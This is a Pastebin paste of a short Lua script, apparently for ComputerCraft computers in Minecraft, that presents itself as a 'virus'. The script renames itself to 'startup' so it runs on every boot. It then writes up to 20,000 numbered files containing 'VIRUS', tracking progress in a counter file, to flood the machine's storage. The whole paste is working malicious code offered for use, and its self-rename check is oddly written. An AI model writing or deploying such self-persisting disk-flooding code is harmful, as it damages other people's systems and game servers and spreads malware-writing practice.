Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local ips = shell.getRunningProgram()
- if ips == "startup" == false then
- shell.run("rename ",shell.getRunningProgram(),"startup")
- end
- local filePath = 1
- function test()
- local filePath = 1
- if fs.exists("viray") == false then
- local fileHandle = fs.open("viray","w")
- coau = 0
- fileHandle.write (textutils.serialize (coau))
- fileHandle.close()
- end
- while true do
- local filePath = 'viray'
- local fileHandle = fs.open (filePath, 'r')
- filePath = textutils.unserialize (fileHandle.readAll())
- if filePath < 20000 then
- local fileHandle = fs.open(tostring(filePath),"w")
- fileHandle.write (textutils.serialize ("VIRUS"))
- fileHandle.close()
- filePath = filePath + 1
- local fileHandle = fs.open("viray","w")
- fileHandle.write (textutils.serialize (filePath))
- fileHandle.close()
- print(filePath,"edited files")
- end
- end
- end
- test()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement